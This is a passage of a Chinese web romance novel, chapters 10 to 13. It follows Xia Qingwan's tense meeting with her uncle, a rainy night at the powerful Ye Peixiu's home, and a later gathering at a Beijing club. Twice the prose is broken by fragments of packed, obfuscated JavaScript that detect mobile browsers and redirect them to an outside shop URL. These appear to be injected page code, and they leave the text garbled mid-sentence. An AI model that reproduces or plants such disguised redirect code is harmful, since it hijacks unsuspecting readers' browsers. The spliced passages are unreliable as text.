过了这么多年,时过境迁,夏清晚高三时必须要回原籍参加高考,这才顺理成章被接了回来。 只是,夏长平夏长柳依然不愿回老宅。 夏清晚后来看了一些书,试图用理论让自己宽心。 夏家,除了心大的夏明州,几乎每个人都有家庭创伤。 夏西里死了,夏老爷子死了,偏疼偏爱的夏惠卿也受尽了惩罚,家庭里的亲情几乎已被消耗殆尽。 往事不可追。 她只有往前看,走自己的路,尽自己的能力让奶奶安度晚年。 - 晚上八点。 夏清晚打车前往北官房胡同。 来过几次了,称得上熟门熟路,在最里头一进院的侧厅里见到了夏长平。 屋子里烟雾缭绕,几个中年男人抽着雪茄玩牌,三五个女人陪伴在侧。 有个男人抬头看到她,眼神变得玩味,哟了一声,道,“我怎么不知道还有这种款?是谁找来的?” 旁边一个人循声看了夏清晚一眼,笑说,“你快收收心思,这是长平的侄女。” “长平有个这样的侄女?我怎么不知道。” 正说着夏长平从里间休息室走出来,略抬抬下巴,“跟我过来。” 夏清晚跟着他去到露台上。 夏长平点了根儿烟,先不痛不痒寒暄了几句。 根本没有等夏清晚回答,夏长平就道,“你奶奶这阵子怎么样?见了什么人?” “奶奶几乎不出门,没见什么人。” 问奶奶的生活起居是假,问她的财产珍宝人际交往才是真。 夏长平早就在打财产的注意。他量夏清晚不敢对老太太多说,所以言辞上根本不加掩饰,上一次他叫她来,夏清晚就有所察觉。 恐怕,前阵子让夏明州来要古董真迹,也是找借口变着法儿从老太太这儿套财产罢了——虽然夏明州后来说没派上用场,但那幅字画根本没有还回来。 奶奶想必也心中有数,所以没有追问。 “是吗?”夏长平冷笑,“我怎么听人说,这几个月,有辆奥迪车去过两三次了?” “我不知道。即使有客人来,奶奶也不会让我见,我一直都在楼上学习。” 这话,夏长平倒是信上几分。 老太太保护这个孙女,保护到了几近严苛的地步。 “听说,那辆奥迪车好像很有来头,”夏长平道,“你奶奶不就跟一个小老太太有交情吗,怎么,还认识什么大人物不成?” “我没见过。” 她还是淡淡的口吻。 夏长平刀子一样的眼神上下打量她,冷笑说,“你知不知道,你跟你爸的脾气一模一样。” 看起来淡漠随和,实际上是个犟骨头。 夏清晚抬头盯他,“为什么要提我爸?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15887354|176429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那眼神清透而冷漠,夏长平有点烦了,“行了行了,你回去吧。小丫头片子一问三不知。” 夏清晚扭头往屋里走。 经过牌桌,走到玄关拐角,刚要开门,就听到有男人说,“长平,你没听说吗,姓叶的那小子最近玩了个女大学生呢,你要是把你这侄女送过去,还愁有什么事儿办不成吗?” 几个男人哈哈大笑起来。 “瞧瞧人家,一出手就是水灵灵的女大学生。” 夏长平骂道,“真他妈不害臊,你们在我这屋里一口一个姓叶的那小子,一到了真佛面前,个个屁滚尿流满脸堆笑——。” “这话说的……” 夏清晚没再继续听,打开门走出去。 步履不停,一直走到二进院垂花门下,她才猛地刹住脚步。 四周阒无人声,旁边草丛传来蝈蝈的低鸣,她发觉自己全身都在抖,两手紧紧地攥成拳头。 心里翻江倒海,是而,下雨了她都没有察觉。 过了不知多久,有把伞撑到了她头顶,余光瞥到男人的衬衫西裤,紧接着是一股似有若无的檀香。 夏清晚抬起头。 叶裴修一手擎伞一手插兜,低眸看着她。 小姑娘眼里先是茫然,视线聚焦之后,那眼里浮现的是疏离和戒备。 夏清晚别开眼,一言不发从伞下离开,很快转过游廊,不见了身影。 叶裴修原地站了片刻,掏手机拨电话,“拦住她。” 这话太言简意赅,王敬梓正云里雾里,就看到夏小姐从大红门里走了出来,他急忙挂掉电话,开车门下车迎过去。 “夏小姐,下着雨呢,怎么连把伞都没带?” “抱歉,我赶时间。” 夏清晚头也没抬。 王敬梓只能拦住,笑说,“我给你拿把伞,不耽误这一会儿。” “不用了,谢谢。” 她还维持着礼貌风度。 王敬梓只能硬着头皮胡搅蛮缠,“这是怎么了,有什么急事儿?要去哪儿?我送你?” 夏清晚还是拒绝,绕过他要走,王敬梓正焦头烂额无计可施,终于看到叶裴修走出来,忙说,“叶总,夏小姐说有急事儿。” 夏清晚停住脚步,回头。 傻子也能反应过来了,是叶裴修让王敬梓拦住她的。 叶裴修走近了,还是把伞撑到她头顶,仿似她的逃跑他的拦截都没发生过,温和地说,“要去哪儿?我送你。” “不必了,”夏清晚把头撇开,尽量维持着平稳的语气,“我想自己待一会儿。” “上车。” 为什么人人跟她说话都是命令的语气? 他们这些人,都觉得自己高人一等吗? 夏清晚扭回头来,仰起脸,“我说,我想自己待一会儿。” 她眼眶红着,似是随时会落下泪来。或许她自己都没察觉,她的声音细微抖着,像是受了极大的委屈。 叶裴修不为所动,重复了一遍,“我送你。” 夏清晚突然有点想笑,“叶先生,您高高在上,发号施令呼来喝去,是不是从没有人敢忤逆?” 以至于他这么习惯成自然地罔顾别人的意愿。 “既然你这么认为,那么,”叶裴修还是波澜不惊,“识相的话,就自己上车。” 夏清晚低头抹了把脸,头也不回朝车边走。王敬梓赶忙过去拉开副驾驶车门,又回身接过叶裴修的伞,打开驾驶座车门,服侍他坐进车里。 “您带夏小姐走,我打个车直接回家。” 开什么玩笑,给他一万个胆子,王敬梓也不敢在这时候当这辆车的驾驶员。 11. 第 11 章 上了车,夏清晚说,“把我送回家就行,谢谢您。” 叶裴修没回答。 眼看着车子开到环线,夏清晚很快意识到这不是回家的路,她扭头去看叶裴修,叶裴修专心开车,不发一语。 车子驶进内城深处,眼前出现一面对开的大红门,大门徐徐打开,车子开进去,在月洞门外停车场停稳。 叶裴修先一步下车,头也不回。 方才大红门内两边有警卫站岗,夏清晚自知跑不出去,慢半拍下了车,循着叶裴修的背影进入月洞门。 初次进入这座苏式庭院建筑,只觉庄严静谧,心都跟着静了下来。 主建筑门半敞着,夏清晚走进去,站在玄关。 地板一尘不染,她浑身湿淋淋的,根本无处下脚。 这时候叶裴修手拿着一条大浴巾走了过来,她有点怔住,愣愣的看着。 走近了,叶裴修把浴巾抖开,双手绕过她的肩,直接用浴巾把她裹住,双手抓着浴巾两边,轻轻把她拉到身前。 夏清晚往前踉跄了两步,后背被浴巾裹着,前面是他高大温热的身体,周身温度陡然上升,覆盖了被雨淋湿后的寒凉。 没料到他是要照顾她。 想到方才在胡同里跟他犟,她不由又羞又愧,低下眼小声说,“谢谢。” 叶裴修垂眸看了她片刻。 她鬓角粘着一缕潮湿的头发,眉眼漆黑如点墨,再往下,那两瓣湿润的樱粉色唇轻轻咬着,脸蛋儿几分潮红。 他抬起手,半空中顿了两秒,又垂下来,末了,给她倒了杯热水,“你先坐会儿,我出去一趟。” 她没有多问。 叶裴修出去了不到十分钟,再回来时,夏清晚裹着浴巾站在落地窗边,看向窗外雨下噼啪四溅的池塘。 听到声响,她转身走过来。 叶裴修递给她一套崭新的内衣裤和睡衣,“便利店买的,凑合穿吧。” 夏清晚略略睁大了眼睛。 “淋得湿透,不洗个澡?”叶裴修手从裤兜里抽出来指了个方向,“浴室在那儿。” 夏清晚接过那崭新的衣物,却低下头,站在原地一动不动。 叶裴修已经坐到沙发上,见她还是没动弹,就轻笑一声,“怎么?是怕我为非作歹,在你洗澡的时候闯进去?” 夏清晚摇头,低低地说,“对不起。一开始我有点太应激了,说了些难听的话。” 叶裴修不置可否,“去洗澡吧,再这么着下去真要感冒了。” 进到淋浴间,脱下湿淋淋的衣物,温热水哗哗浇下。 夏清晚忍不住哭了一场。 也不知是为夏长平的敌意、还是为自己生活的纷乱,抑或者,是为叶裴修的体贴照顾。 洗完出来,换上睡裙。 睡裙布料太少,又低又短,可是他紧急之下买的,也挑拣不了那么多了。 她一手格挡在胸前,打开浴室门,叶裴修站在不远处拐角窗前,半侧过身转开视线递给她一件白衬衫。 “……谢谢。” 她背过身穿上,把扣子从上到下扣了个严实,又道,“我能不能借用一下你的洗衣机和烘干机?” 湿衣服要洗一洗,否则待会儿没得穿。 这话倒是难住了叶裴修。 他的衣服都有专人送到专处去洗,家里倒是有洗衣房,只是从没用过。 “湿衣服给我吧,我去研究一下。” “您别沾手了,您告诉我在哪儿,我去就好。” 叶裴修没有坚持,告诉她地点,就放任她自己去了。 她再回到客厅时,叶裴修正坐在沙发上看书。 她没有出声打扰,在另一张长沙发上坐下,心情放松了不少,这才有余裕打量四周。 整座房子是一堂古色古香的内饰,两张长沙发,两张单人沙发共同围拢着一张束腰平头条桌,角落里一张正方高脚摆架,其上一方嶙峋瘦透的云根太湖石。 拐角处一张三足高脚几,上面摆着青釉花觚瓶,瓶中斜出一支骨节遒劲的桃花枝。 入目所及皆是名器古董。 这是他的家。 他不止是那个初次见面便毫不见外地打趣人的叶裴修,更是那位位高权重的叶先生。 从认识到现在,他几乎每次都在帮她。 要怎么还?怎么回报? 她缩在沙发一角,低头垂眼,不发一语。 叶裴修的心思全然没在书上。 小姑娘一声不吭缩在那儿,长发柔顺,眉眼低着,比平日里更显出几分柔美乖巧来。 “想什么呢?” 夏清晚抬起头,“……没什么。” “你话比之前几次还少一些,是不是我得罪了你?” 叶裴修把书一撂,单臂搭着沙发背,闲闲地叠腿而坐。 夏清晚沉默了片刻,鼓起勇气直话直说,“……前几次不知道您是叶先生。” 叶裴修反应了一会儿。 怪不得今天一见他,就口口声声叶先生,一口一个“您”,还说他高高在上,夏奶奶家教严格,大概从没对她说起过这些闲言碎语,她机缘巧合知道了,当然会吓一跳。 “怕我了?” “……有一点。” 何止是有一点,如果可以的话,她恨不得立刻抱着自己的衣服逃开八丈远。 “不至于,我又不吃人。” 叶裴修说,“再者了,你认识我这几个月了,我什么时候在你面前端过架子摆过脸色?” 正是因为没有,所以才更可怕。 只有吃人不吐骨头的角色,面儿上才这般温和,让人琢磨不透。 这话说出来不好听,像是在骂会咬人的狗不叫,夏清晚就随便捡了句别的,“没有吗?刚才在胡同里,还让我识相一点。” 她本意是要松快气氛,没成想,话一出口,却像是寻衅。于是自己就先惴惴的。 叶裴修倒像是浑不在意,轻笑,“我不那么说,你还要在那儿站多久?非得弄得发烧不可。” 因为说错话,夏清晚脸上却真的发起烧来,脸蛋儿肉眼可见变得绯红,磕磕巴巴着补说,“我知道……知道您是好人……” 她抬眸看他一眼。 隔着条桌,斜对面沙发上的叶裴修一寸不错看着她。 白衣黑裤双腿交叠,双绉真丝白衬衫光泽柔和高级,很有不动声色之意。 两厢沉默之时,窗外突有一道焦雷炸开,接着是骨节四散一般的噼啪闪电,天都被映亮了一瞬。 雨势陡然猛烈,甚至有丝丝缕缕的雨点,斜侵入檐下,打在落地窗玻璃上。 夏清晚看了眼窗外,又看一眼叶裴修。 叶裴修这时候才说了一句,“那倒不见得。” 她已经收回了视线,没接触到他的眼神,只以为他是自谦。 叶裴修站起身,“我给你看样东西。” 他往客厅深处走廊里走,夏清晚只得起身跟上去。 来到书房。 另有一番幽静天地。 乌木长桌,背后一把太师椅,两面满墙通顶书架,黄花梨五足高脚香几上,铜制博山炉氲出淡淡的水沉香,月牙桌靠墙,其上横架着一把展开的山水图折扇。 气氛高雅静谧,当真有一股“碧纱窗下水沉烟”的韵味。 夏清晚被这陈设美到,只顾着看,差点撞到他背上,忙说对不起。 叶裴修停下脚步回身,想她今晚一直在道歉,觉得好笑,“你坐。” 夏清晚在沙发上坐下。 看叶裴修从唱片架上拿下一张唱片,拆开封套,放到黑胶唱机上。 黑胶唱机摆在书桌旁一幅透雕如意双层几上,叶裴修就近半坐在书桌上,闲适随意,抬手拨了下指针。 滋滋啦啦的杂音之后,响起了一道沙哑的男声。 夏清晚没有任何心理准备,愣愣地看着那唱机,又看向叶裴修,呆怔了数秒,一击穿心,两道眼泪毫无预兆地哗啦哗啦往下淌。 她的哭泣无声无息,叶裴修也没有说话,只是温和地望着她。 听完了专辑第一首同名的《清晚》,叶裴修把指针拨开,半开玩笑说,“现在不开口向我要,以后可就没机会了。” 夏清晚双手捂住脸,“对不起,我今晚总是失态。” “真不要?” 夏清晚摇头,“我奶奶不允许家里有我爸的东西。” 这话是真,但此时拿出来说,只不过是借口。她怎么能平白无故要他的东西。若说要买他的,他定要生气。 “那以后,想听了就随时来我这儿。” “……好。” “你奶奶这么严格,那你是不是从没有跟人谈起过你爸妈?” “……也没什么可谈的,我一丁点都不记得了。” 闲聊了几句,叶裴修问,“今天是出了什么事?见到我的时候怎么那个表情?” 冷不防他问及这些,夏清晚略顿了一下,还是摇头,“没什么大事,我大伯叫我过去了一趟。” 叶裴修在脑子里搜寻出一个人名,“……夏长平?他有个儿子叫夏明州?” “嗯,那是我堂哥。” 夏家的事,叶裴修多多少少听奶奶讲过一些,上一辈的纠葛恩怨,不可避免地延续到了下一代。 夏长平大概给了她难堪。 她站在垂花门下发愣时,眼眶就红着。 他略过这茬,转而问,“你堂哥人怎么样?” “他挺好的。” “跟他很亲近?” “那倒也没有,就是普通的堂兄妹。” 这两年,反而是因着林向榆的缘故,她和堂哥夏明州才走动得多了些。 她和林向榆很合得来。 “老一辈的恩怨,他不该延续到你身上来,你是无辜的。” 叶裴修说。 听到这话,夏清晚反应了一会儿,意识到他话语里的“他”是指夏长平。 她当然知道自己无辜,但是身陷其中,被这新仇旧恨挟裹着,周旋自处已让她心力交瘁,哪里还有功夫去想自己无不无辜呢? 即使无辜,这些事情她也不得不承受。 可是,从没有人跟她说过这样的话。 夏清晚低下眼,没作声。 “既然如此,下次他叫你,你就不要再去了。” “我必须得去,奶奶有很多事瞒着他,他也在打奶奶的财产的主意,我去了才能知道他进展到哪一步了。” 她这话虽说依旧清清柔柔,但暗含着一股翠竹拔节般的力量感。 叶裴修不由笑起来,“可以啊你,身处在这样的境地,还给自己安排了一个‘双面间谍’的任务,厉害厉害,我小瞧你了。” 玩笑的意味明显,夏清晚也忍不住笑起来。 心里一下敞亮了不少。 两个人笑着对看一眼。 夏清晚莫名从他眼神里感受到一种不同寻常的暗涌,心下一麻,忙转开了视线。 转开视线也是徒劳:她能感觉到,叶裴修依然在看她。 这个时候她忽然想到方才在客厅,那一道焦雷之后他说的那句“那倒不见得”,此时后知后觉品出来,这话好像有别的意思。 她忙站起来,走到黑胶唱机旁边,假装好奇,“我爸的唱片大部分早就被销毁了,你是从哪儿弄到手的啊?” 叶裴修没回答。 她不敢去对他的眼神,佯装无事发生, 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她眸如春水,脸蛋儿娇艳幽丽,像春末夏初,月上柳梢,透过薄帷清风,看到的朦朦胧胧的一朵粉白海棠,清幽脱俗。两瓣肉粉的唇微微张着,似是有点不知所措。 叶裴修喉咙发干,几乎难以自控。 夏清晚放下另一手里一直拿着的唱片封套,几近慌不择路地转过身,“我去看看我的衣服烘好了没有。” 脚步急急,穿过宽大的书房,来到门前,越是急,越是打不开门,左拧右拧,门板却纹丝不动。 这时候感觉到身后叶裴修走近了。 她再度绷紧,全神戒备。 叶裴修一只手臂越过她身侧,手握住门把手,轻轻一拧,嗓音倒是一如既往低沉平稳,不疾不徐,“不用那么着急那么用力,往右轻轻一拧就开了。” 世上大多事好像都自有一种机关诀窍,越是着急渴望,就越是感受到百般的阻力,放松下来,徐徐图之,反而别有一番情致。 夏清晚松了一口气。 那全神的戒备没有落到实处,反而被他轻飘飘化解掉了,她松了口气的同时,更有一种没着落的心神不宁。 也不知是不是这个缘故,离开书房到洗衣房,这一路上,她越是想要清空思绪,脑海里越是凌乱,不断回闪着方才叶裴修的一举一动。 他叠腿坐在沙发上时不动声色的气度、捏住她手腕的那只骨节修长分明的大手、定定看她时深邃的眼神…… 她是被他的随和蛊惑了,昏了头了。这明明是个极其危险的男人。 夏清晚取出衣服,回到浴室换上,把穿过的那件属于他的白衬衫丢到脏衣篓,做完这一切,再来到客厅时,叶裴修已经在客厅沙发上等着她。 他抬腕看表,“时间还早,等雨小一点我送你。” 依然是无波无澜的语气,仿似刚才的一切没有发生过。 隔着落地窗,只见暴雨沿着廊檐斜泼下来,池塘上水珠纷乱四溅,满川风雨如烟。 上京夏天的雷阵雨向来凭心情,经常是天气预报上山雨欲来风满楼,到了了,也就一阵风,半个雨点都不见。 也有时候,像突然起了性子似的,一阵妖风还没吹完,就迫不及待噼里啪啦下起雨来,电闪雷鸣暴雨倾盆,痛痛快快下一个小时,就鸣金收兵了。 眼瞧着,这场暴雨不会持续太久。 夏清晚说好,在他对面沙发上找了个位置坐下,支着脑袋看窗外的雨。 叶裴修看了她一眼,道,“不用拘在这儿,去书房听听歌或者找本书看都行。” 那未免太失礼。 她跟他算得上非亲非故,他顶多是看在梁奶奶的面上,照顾下奶奶好友的孙女,已经帮过她这么几次,她承了他的好意,到这儿也就足够了。 以后想方设法能还一点是一点罢。 岂能像旧友密友一般,没大没小在他的家里乱逛。 她摇摇头说,“不用了。” 叶裴修也没再说什么,权当没有她这个人似的,自顾自看书,接打电话。 不讲话最好了。 夏清晚后知后觉意识到,跟叶裴修待在一块儿,一旦聊起什么,好像总很难刹住车,不知不觉间话题就会深入下去。 她还从没跟人聊起过她的家庭。 雨势小了些,似有偃旗息鼓的意思。她望望窗外,又望望叶裴修,正要开口,叶裴修就放下书起身,“走吧。” 上车,开到大路,一路无言。 快到大院门口的时候,夏清晚说,“就在门口放我下来好了,门岗那里有伞,我借一把就行。” 车子停稳,夏清晚解开安全带,说,“今天真的给您添了很多麻烦,衬衫我已经放到脏衣篓了,谢谢您带我回去,让我洗澡换衣。” 若真的湿淋淋地回到大院,喜奶奶不知要怎么长吁短叹絮叨她,万一说漏嘴被奶奶知道了,那更了不得了。 她停顿了一下,想起还有要谢的,正要再度开口,“还有——”就见叶裴修似笑非笑看着她,“你这一通谢,倒显得很生分。” 字字句句码放清楚,像要搭出一条泾渭分明的楚河汉界。 夏清晚被说中,也不愿违心地说“没有没有”,只得默然。 末了,说,“您开车回去路上小心,虽然雨要停了,但是有些路段有积水。” “回去吧。” 夏清晚下了车,三两步跑到门岗,向保安借了把伞,埋头往大院里走。走到凌霄花架下,借着昏暗,才回身往大院门口望了一眼。 叶裴修的车当然已经开走了。 澄黄路灯下,空寂路面闪着湿漉漉的光。 12. 第 12 章 六月底的周末,叶裴修回了趟西山老宅。 他父亲也难得在家。 叶裴修下了车,瞧见他老人家远远地在草坪另一头凉亭下喝茶,他母亲裴雅娴陪坐,即使隔着这么远的距离,也能看出他父亲像是在训斥她。 裴家世代经商,往前数百年都有名有姓,近代时候为国家建设捐过不少财产,一直是受人尊敬的大家族。 这两年,裴家换了家主,新家主似是野心很大,动作频频,裴雅娴也被遥控指挥着在京里帮忙运作,叶裴修心知肚明。 他父亲前阵子出公差,这几天闲下来,大概要跟她仔细算一算账。 叶裴修没过去打招呼,径直去主屋。 七月份,爷爷照例要离京去北戴河休养,奶奶程菲正亲自给老爷子收拾衣服。 老爷子说,“你就放那儿吧,待会儿让郑妈收拾就成了。” “那可不行,”程菲嗔道,“我跟你一起去,你要是穿的不好看,岂不是给我丢人。” 这说辞倒新鲜。 老爷子笑说,“我这把年纪了,穿什么不都是一个样。” “当然不一样,”程菲乐呵呵地掐腰歪头一笑,“今年做的几套夏装我看着很好,老爷子,快来试试。” 正说着,叶裴修从外面走进来,老爷子就道,“先放着,我跟裴修说句话。” 祖孙二人去了书房。 闲聊几句,又赏玩了老爷子新得的一幅字画,末了,老爷子问,“你奶奶还好吧?” “别的倒还好,就是腿脚不比以前了。” 老爷子点点头,没再多说。 爷孙间关于奶奶的话题,向来是点到为止,很有种讳莫如深之意。 在老宅用过午饭,和父亲谈过一回,叶裴修就离开了。 下午和盛骏驰约在胡同里一家会所喝茶。 这家会所,才是叶裴修经常造访的地方。北官房胡同那处地界,早年是他们这帮子弟常去的,这些年也在别院后院承接一些高规格商宴,来往人群逐渐鱼龙混杂,很多子弟都不爱去了。 这家会所却是一如既往,秘而不露。 也不知用了什么巧思,大暑天的,没开空调,廊檐下窗里却是凉风习习。 一坐下,盛骏驰就笑说,“上回是突然有什么急事啊?我听胡同的侍应生说,你人都到了,临时改道又走了。” 说的正是下暴雨那次。 叶裴修本来是去北官房胡同找盛骏驰,走到垂花门下却遇见夏清晚。 “遇见个淋雨的小姑娘,做了回善事。” “你还有这闲工夫?” 盛骏驰笑,话音落,回过味儿来,“……不会是四月份你让我打听的那个吧?” 四月份,盛骏驰在北官房胡同办生日宴,叶裴修过去露了个面,回去却给他打电话,让他查查那晚都有谁在胡同里。 当时,盛骏驰还以为有谁冲撞得罪他了,忙去往下问罪。胡同负责人说是除了他的生日宴,后边别院有两桌商宴,侧厅有几个生意人的小孩喝酒玩牌。 费了好一番功夫,才查出来,叶裴修让他找的人,是当时在侧厅喝酒玩牌的一个小孩的妹妹,姓夏。 叶裴修挑了挑眉。 “那我原谅你放我鸽子了,”盛骏驰笑呵呵地说,“看这架势,这姑娘倒是常往胡同去,以后我要是碰着了,高低得会她一会。” 叶裴修意兴阑珊,“你少去烦她。” “怎么,这姑娘怕生?” “何止啊。” 叶裴修懒洋洋喝茶,没再多说。 - 这一日,盛骏驰在北官房胡同宴请几位打南边过来的贵客,席间请了新进风头正盛的名人作陪,推杯换盏,热闹非凡。 连着被灌了好几杯,盛骏驰出来透气。 信步走到院内,隔着红木窗扇,瞧见侧厅聚了几个年轻的男男女女,喝酒打牌吆三喝四,有个短发女生走到窗前,伸臂把窗户一推,捋了捋头发,摁几下手机屏幕,贴到耳边。 他记得这个女孩,名字好像叫林向榆,没什么家世背景,日常总跟那几个大小姐混在一起。一头冷茶色及肩短发,身材高挑修长,眉眼锋利,看起来是不拘小节又毒舌的这么一个人,不知怎么就被夏长平的那个傻儿子追到手了。 盛骏驰点了根儿烟,心不在焉地,偶尔瞥去一眼。 林向榆斜靠着窗台,笑着对电话那头说,“清晚。” “生日那天也没来得及跟你说句话,你这会儿有空没?来玩玩?” 这倒巧了。 她跟那位夏小姐关系挺好的样子。 “只有你哥,还有我的几个朋友,没有乔二少那些人,你放心来。” 林向榆笑着解释。 “好嘞,那我们等你啊。” 林向榆挂断电话,这时候才瞧见窗外不远处吸烟点站着个盛骏驰。她礼貌点头微笑了一下。 盛骏驰回以一点头。 待林向榆离开窗前回到牌桌上,他拿手机拨通了叶裴修的电话。 “干嘛呢?” “喂鱼。” “来喝酒啊。” 盛骏驰笑说,“我这儿待会儿要来一贵客。” 叶裴修不接茬,“没正事儿我就挂了。” “诶诶诶,”盛骏驰一叠声拦住,嬉皮笑脸,“甭管你来不来,我今儿是要会一会你家那位夏小姐了。” 电话那头顿了顿,叶裴修不咸不淡地问,“……你在哪儿?” “北官房胡同这儿,夏小姐要过来找她哥的那个女朋友。” 叶裴修低眼。 是了,夏清晚跟他说过,她反而是跟夏明州的女朋友更亲近些。 盛骏驰把抽了半根的烟碾灭,回到中堂。 眼看着他脸上浮现点醉态,客人们识趣地彼此递一递眼神,站起来道告辞。 盛骏驰亲自挨个把人送上车,眼瞧着车子一辆接一辆驶离,他独自返回中堂,招来老板,闲闲地问,“这会儿谁在侧厅?” 老板低眉答道,“几个生意人的孩子,是不是太吵了?我让他们小点声去。” “别忙,”盛骏驰笑说,“我这儿剩了几瓶好酒,今儿高兴,索性一齐开了吧,甭管是谁,让他们都过来喝一杯。” 老板抬头,忙赔笑,“好好,我去叫他们。” 侧厅里,夏明州林向榆正在打牌,玩得热火朝天,老板推门进来,冷不丁这么一说,几个人都愣住了。 “别傻坐着了呀,盛先生兴致好,要请客,还不赶紧过去?” 瞧老板那神气,仿佛是古时候去内宫通报要某某妃子侍寝的太监,一脸的:天大的福气,小主愣着干什么,还不赶紧拾掇拾掇接驾吧? 林向榆忍不住噗嗤一笑,附耳跟一个小姐妹讲了,两个人哈哈大笑起来。 夏明州还有点晕乎乎的,嘴上笑着一叠声答应,“这就来这就来,老板,劳烦您先过去说一声,我们马上就来。” “好,别让盛先生等久了啊。” 老板撂下句话,紧着往中堂走。 夏明州林向榆两个人贴在一起小声嘀咕了一阵,旁边一个朋友笑说,“两个人要制定作战方针了。” “就这样,你也别表现得太兴奋了,踏实点。” 林向榆说。 夏明州点头,“放心吧,我心里有数。” 几个人浩浩荡荡离开侧厅,来到中堂。 盛骏驰坐在沙发上,刚巧点了根儿烟,看到他们,就笑了笑,“来了啊,别拘束,随便坐,”抬了抬下巴示意,“明州是吧?你开瓶酒。” “好,谢谢盛哥。” 夏明州扮足乖巧。 他过去开酒,剩下的几个人都有点拘谨,只有林向榆依言坐了下来,百无聊赖似的望望窗外。 见有人打头阵,其他几个才慢慢地各自找地方坐下。 盛骏驰笑看向林向榆,“你看起来酒量不错。” 林向榆噗嗤笑,“都这么说。” “实际呢?” “实际我酒量确实不错。” 林向榆粲然一笑。 盛骏驰也笑起来,“正巧我今儿还没尽兴,待会儿你男朋友来了,你可得满上,你俩陪我多喝一会儿。” 夏明州带着侍应生开了几瓶酒。 盛骏驰是十里洋场浸出来的,面对一众小辈自然也有一套章法,再加上这几个男孩女孩都捧场,由是,气氛很快热了起来。 过了大约半个钟头,林向榆手机响了。 她接起来,下意识往窗外望,“清晚,你到了?” 隔着矮几,盛骏驰向她说,“有朋友要来?” “……啊,对。” 林向榆分神回答他一嘴,准备起身了,盛骏驰笑道,“甭管是谁,让来这儿,一起喝点。” “……好,我出去迎一迎她。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼望着夏明州喝得脸通红,夏清晚心里不由想,林向榆跟夏明州是截然不同的两种人,虽说都有不拘小节的一面,但林向榆有傲气讲义气,在女生群体里很有领袖的意思,夏明州则吊儿郎当惯了,爱摆阔爱挥霍,怎么看,也就是个寻常的富家子弟而已。 以前,林向榆跟她聊过为什么会答应和夏明州在一起。 那时,夏清晚问得严肃,“你总不会是被他追得感动了?” “我只是觉得他其实是个很赤诚的人,单纯。” 林向榆这么说。 在一起之后,林向榆时不时会给夏明州出谋划策,帮他打探情报,两个人倒很像是白手起家的小夫妻。 林向榆循着她的视线望过去,也不由笑,“看你哥那样,我估计,他马上就要睡着了。” 那位盛先生拍了拍夏明州的肩膀,接了个电话站起身走了出去。 林向榆就道,“哦嚯,看这意思,盛先生有其他事,应该快要散场了。” 不大会儿,那盛先生回到中堂,身旁却多了个男人。 林向榆瞪大了眼睛,“我靠,今儿是怎么了。” 大人物一个接一个。 夏清晚心里重重撞了一拍。 那是叶裴修。 他今天穿着件枪灰色衬衫,袖筒松松挽了一截,双手插兜,视线漫不经心地在屋里扫了一圈。 目光落到她脸上,有一霎的停顿,很快就挪开了。 盛骏驰道,“不用我多介绍了吧。” 屋里屏息了好一会儿的人们,都乖乖起身,挨个去跟叶先生问好。 叶裴修似是没有寒暄的兴致,敷衍地略点了点头。 他已经在单人沙发上坐了下来,侍应生很快新开了一瓶酒,倒了薄薄一杯递给他。 看样子,那是单独为他开的,大概是他放在这里的藏酒。 林向榆提议说,“我们去问个好吧?” 夏清晚还没说话,盛骏驰就遥遥地向她们俩喊道,“林小姐,怎么回事,你男朋友被我喝倒了,你怎么还不来?” 林向榆赔了个笑脸,拉着夏清晚走过去。 先走到叶先生跟前,林向榆恭敬地点头,“叶先生,您好。” “嗯。” 夏清晚半垂着眼,“叶先生,晚上好。” 说完,她静等了三五秒,才听到叶裴修道,“夏小姐,晚上好。” 13. 第 13 章 林向榆跟盛骏驰在划拳喝酒,夏清晚坐在一旁沙发角落里,手撑脑袋看向后窗外。 她能感觉到,斜对面单人沙发上的叶裴修一直在看她。 他帮过她那么多次,这样碰上了,她却只能装不熟。 横亘在中间的,都是不得已。 即便不提这些恩情,上次在他家里那一出,也够让她不知所措了。 男人各种各样的眼神她都见多了,也惯了,叶先生的目光却与旁的男人都不同,他总是温和的,在她失态的时候他也能举重若轻半开玩笑松快气氛。 也好似是怜惜的。 他到底怎么看待她?和梁奶奶一样,觉得她可怜么? 心里这么想着,夏清晚下意识偏头看向他。 视线在半空中碰上,叶裴修的眼神锚定了她似的,一寸不错。 她一颗心扑通扑通,紧张之中又有一丝难言的渴望,不知为何,那一霎,她竟希望这满堂的人都消失不见,只留下她跟他,最起码能够说句话。 - 夏明州醉得不省人事。 林向榆说要送他回去,向盛骏驰道告辞。盛骏驰却道,“酒还没喝完,你想跑?” 林向榆只得赔笑脸,“您这是说哪里话,改天,我再来把酒喝干,可以吗?” “我让人把他送回家,你留下继续喝,不影响。” “不是的,现在我放暑假,我俩住在他的房子里,没有佣人照顾。” 盛骏驰反应了一下,才慢吞吞哦了声,又笑道,“你也喝了这么多,一个醉汉照顾另一个醉汉?” “盛先生,我没醉。” 林向榆也只能继续笑着解释,希望这位盛先生能够谅解。 一旁的夏清晚同样如坐针毡。 盛骏驰叶裴修这样的人,只是稍稍不让步,便能让她们进退无路。 她正要站起来说话,斜对面的叶裴修说,“骏驰,你喝多了。” 盛骏驰的确喝多了,平日里,他绝不会这样为难任何一个人。 他摁了摁太阳穴,一下酒醒了,也像是一下失去了兴味,抬了抬手,“让侍应生派辆车送你们回去。” 林向榆感激地向叶裴修望去一眼,扶起夏明州往外走。 夏清晚起身过去帮忙扶着夏明州另一边。 夏明州却转而把脸埋进林向榆颈窝,搂着她晃悠,嘴里一叠声醉意浓倦的,“小榆宝贝,我好喜欢你……” 